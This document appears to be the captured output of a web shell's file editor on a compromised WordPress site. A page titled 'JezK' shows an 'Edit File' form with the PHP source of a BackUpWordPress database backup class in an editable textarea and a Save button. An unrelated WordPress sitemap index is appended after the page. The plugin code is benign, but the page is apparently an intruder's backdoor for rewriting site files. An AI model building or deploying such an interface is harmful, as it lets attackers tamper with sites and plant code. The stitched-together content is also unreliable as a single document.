
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-backup-engine-database-imysqldump.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace HM\BackUpWordPress;

use Ifsnop\Mysqldump as IMysqldump;

/**
 * Perform a database backup using the mysqldump-php library
 *
 * @see https://github.com/ifsnop/mysqldump-php
 */
class IMysqldump_Database_Backup_Engine extends Database_Backup_Engine {

	public function __construct() {
		parent::__construct();
	}

	/**
	 * Perform the database backupwordpress
	 *
	 * @return bool True if the backup completed successfully, else false.
	 */
	public function backup() {

		try {

			$dump = new IMysqldump\Mysqldump( $this-&gt;get_dsn(), $this-&gt;get_user(), $this-&gt;get_password(), $this-&gt;get_dump_settings() );
			$dump-&gt;start( $this-&gt;get_backup_filepath() );

		} catch ( \Exception $e ) {
			$this-&gt;error( __CLASS__, $e-&gt;getMessage() );
		}

		return $this-&gt;verify_backup();

	}

	/**
	 * Get the settings for the database bump.
	 *
	 * @return array The array of database dump settings.
	 */
	public function get_dump_settings() {

		/**
		 * Allow additional settings to be added.
		 *
		 * @param string[] $settings The array of settings.
		 * @todo can these be standardised across all database backup engines
		 */
		return apply_filters( &#039;hmbkp_imysqldump_command&#039;, array(
			&#039;default-character-set&#039; =&gt; $this-&gt;get_charset(),
			&#039;hex-blob&#039;              =&gt; true,
			&#039;single-transaction&#039;    =&gt; defined( &#039;HMBKP_MYSQLDUMP_SINGLE_TRANSACTION&#039; ) &amp;&amp; HMBKP_MYSQLDUMP_SINGLE_TRANSACTION,
		) );

	}

	/**
	 * Correctly calculates the DSN string for the various mysql
	 * connection variations including simplt hostname, non-standard ports
	 * and socket connections.
	 *
	 * @return string  The DSN connection string
	 */
	public function get_dsn() {

		$dsn = &#039;mysql:host=&#039; . $this-&gt;get_host() . &#039;;dbname=&#039; . $this-&gt;get_name();

		if ( $this-&gt;get_host() &amp;&amp; $this-&gt;get_port() ) {
			$dsn = &#039;mysql:host=&#039; . $this-&gt;get_host() . &#039;;port=&#039; . $this-&gt;get_port() . &#039;;dbname=&#039; . $this-&gt;get_name();
		} elseif ( $this-&gt;get_socket() ) {
			$dsn = &#039;mysql:unix_socket=&#039; . $this-&gt;get_socket() . &#039;;dbname=&#039; . $this-&gt;get_name();
		}

		return $dsn;

	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
